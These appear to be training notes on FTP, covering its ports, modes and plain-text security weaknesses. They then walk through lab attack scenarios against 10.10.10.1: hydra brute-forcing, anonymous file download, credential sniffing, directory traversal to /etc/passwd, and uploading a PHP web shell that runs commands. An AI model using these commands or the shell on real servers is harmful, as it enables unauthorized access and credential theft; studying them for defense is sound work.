

Network Hacking

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FTP



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- FTP stands for **File Transfer Protocol**.
 - Used for transferring files between a **client** and a **server** over a network.
 - Operates on the **Application Layer** of the TCP/IP model.
 - Common in **web hosting** and **file management**.

FTP



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- **Port 21:** Command & Control (default port).
- **Port 20:** Data transfer (used in Active mode).
- **Modes of Operation:**
 - **Active Mode:** Server initiates data connection to the client.
 - **Passive Mode:** Client initiates both command and data connections (helps bypass firewall issues).

FTP Authentication

- Uses **username** and **password** for authentication.
- **Plain text** credentials make it insecure for sensitive data.
- To secure FTP:
- Use **FTPS** (FTP Secure) or **SFTP** (Secure FTP via SSH).

FTP Security Concerns

- TP transmits data and credentials in **plain text**, vulnerable to:
- **Eavesdropping.**
- **Man-in-the-Middle (MITM)** attacks.
- **Encryption** not native in FTP.
- Use **FTPS** or **SFTP** for secure file transfers.
- Always use **firewalls** and **access controls** to restrict FTP connections.

FTP Alternatives

- **FTPS:** FTP over SSL/TLS (adds encryption).
- **SFTP:** FTP over SSH (more secure, widely used).
- **HTTP/HTTPS:** Can also be used for file transfers with web servers.
- **WebDAV:** An HTTP extension for file management over the web

FTP Summary

- FTP is a widely-used protocol for file transfers.
- Operates using **Port 21** for control and **Port 20** for data in Active mode.
- **Security concerns** require the use of FTPS or SFTP for sensitive data.
- Consider secure alternatives for modern environments.

Scenario 1: FTP Brute Force Attack



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- Gain access by brute forcing weak credentials.

```
nmap -p 21 10.10.10.1
```

- After knowing 21 is open

```
hydra -l admin -P /path/to/password-list.txt ftp://10.10.10.1
```


Scenario 2: Exploiting Anonymous Access



- Access files using **anonymous** login

```
ftp 10.10.10.1
```

```
ls
```

```
get confidential.txt
```

Scenario 3: MITM Attack on FTP

- Attacker positions themselves on the same network as the FTP client (10.10.10.101).
- Use **Wireshark** to sniff FTP traffic:
- Set up Wireshark to capture traffic on the network interface.
- Filter for FTP traffic: `tcp.port == 21`
- When the client connects to the FTP server:
- The credentials `user:password123` are transmitted in **plain text**.
- **Result:** The attacker intercepts the FTP username and password.

Scenario 4: Directory Traversal Attack



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- Exploit path traversal to access restricted files (e.g., /etc/passwd)

```
ftp 10.10.10.1
```

```
cd ../../../../../../etc  
ls
```

```
get passwd
```

Scenario 5: Exploiting Misconfigured Permissions



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- Write malicious files using misconfigured permissions.
- 1- try to find directory with write permissions as /uploads/

```
cd /uploads/
```

- 2- Upload script

```
put shell.php
```


Scenario 5: Exploiting Misconfigured Permissions



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- Access the file from browser and can execute commands from it as

```
http://10.10.10.1/uploads/shell.php
```

To execute RCE attack you can put code inside shell.php

```
<?php system($_GET['cmd']); ?>
```

Scenario 5: Exploiting Misconfigured Permissions



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- After that access it from browser as

```
http://10.10.10.1/uploads/shell.php?cmd=cat+/etc/passwd
```


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